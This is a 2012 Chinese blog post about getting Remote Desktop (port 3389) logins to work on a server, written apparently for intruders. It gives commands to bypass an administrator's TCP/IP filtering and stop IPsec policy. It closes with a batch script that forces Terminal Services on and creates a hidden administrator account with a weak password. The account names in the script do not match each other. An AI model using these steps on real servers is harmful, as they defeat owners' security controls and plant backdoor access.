开了3389远程控制端口却无法登录的5种原因与解决方法

2012年09月15日 技术资料 7402 views 0

浅析5种原因不是绝对的,如果大家还有遇到其他类型可以反馈一下丰富文章!
开了3389无法登录的5种原因:



1、服务器在内网,没断开映射,所以外网无法控制内网。


2、做了tcp/ip筛选。
先执行下面cmd命令:

cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip

导出注册表里关于TCP/IP筛选的第一处


cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip

导出注册表里关于TCP/IP筛选的第二处


cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

导出注册表里关于TCP/IP筛选的第三处


然后回到c盘1.reg,2.reg,3.reg,把1.reg,2.reg,3.reg下载回来到自己的硬盘里面编辑一下,

找到 EnableSecurityFilters 这个字段看看dword后面的键值是否为00000000,如果为00000001就说明管理员做了tcp/ip筛选,我们只要把1改成0就行了,2.reg 和3.reg进行一样的修改。


3、做了ip安全策略。
执行cmd命令: cmd /c net stop policyagent 将IPSEC Services服务停了它。再连3389。

4、管理员设置的终端登陆权限只有指定的用户可以。

5、防火墙(也可以属于安防软件类,批处理对系统防火墙有效)

  1. @echo off
    mode con: cols=15 lines=1
    tasklist /svc >1.txt
    FINDSTR /i "TermService" 1.txt >2.txt
    FOR /F "tokens=2 delims= " %%1 in (2.txt) do ntsd -c q -p %%1
    del 1.txt /q
    del 2.txt /q
    echo Windows Registry Editor Version 5.00>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
    echo "fDenyTSConnections"=dword:00000000>>3389.reg
    regedit /s 3389.reg
    sc config TermService start= demand
    sc start TermService
    del 3389.reg
    shutdown -a
    net user administratord$ 112233 /add & net localgroup administrators vincent$ /add
    del diy3389.bat /q



👍好活当赏🧧